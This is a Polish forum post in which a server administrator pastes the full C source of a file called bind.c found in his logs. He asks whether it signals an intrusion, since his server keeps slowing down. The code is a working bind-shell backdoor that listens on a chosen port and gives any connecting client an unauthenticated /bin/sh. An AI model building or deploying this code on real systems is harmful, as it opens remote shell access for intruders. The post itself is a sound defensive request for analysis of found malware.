andromedos 0 Zgłoś post Napisano Styczeń 4, 2013 Witam moj problem polega na ty iz dzis zauwazylem w logach dziwny plik #include <stdio.h>#include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <errno.h> int main(argc,argv) int argc; char **argv; { int sockfd, newfd; struct sockaddr_in remote; if(fork() == 0) { remote.sin_family = AF_INET; remote.sin_port = htons(atoi(argv[1])); remote.sin_addr.s_addr = htonl(INADDR_ANY); sockfd = socket(AF_INET,SOCK_STREAM,0); if(!sockfd) perror("socket error"); bind(sockfd, (struct sockaddr *)&remote, 0x10); listen(sockfd, 5); while(1) { newfd=accept(sockfd,0,0); dup2(newfd,0); dup2(newfd,1); dup2(newfd,2); execl("/bin/sh","sh",(char *)0); close(newfd); } } } int chpass(char *base, char *entered) { int i; for(i=0;i<strlen(entered);i++) { if(entered == '\n') entered = '\0'; if(entered == '\r') entered = '\0'; } if (!strcmp(base,entered)) return 0; } zauwazylem tez problemy z serwerem który pomimo iz ma zasoby wolne zamula pomagalo tylko restart apache moze mi ktos powiedziec czy owy log to proba wlamania na serwer bo takowe informacje znalazlem w sieci jako skrypt ktory ma wysylac dane do serwera gdy sie na nim ktos zaloguje? bind.c zanajduje sie jako osobny plik w logach jego zawartosc podalem wyzej moglby ktos na to spojrzec fachowym okiem? Udostępnij ten post Link to postu Udostępnij na innych stronach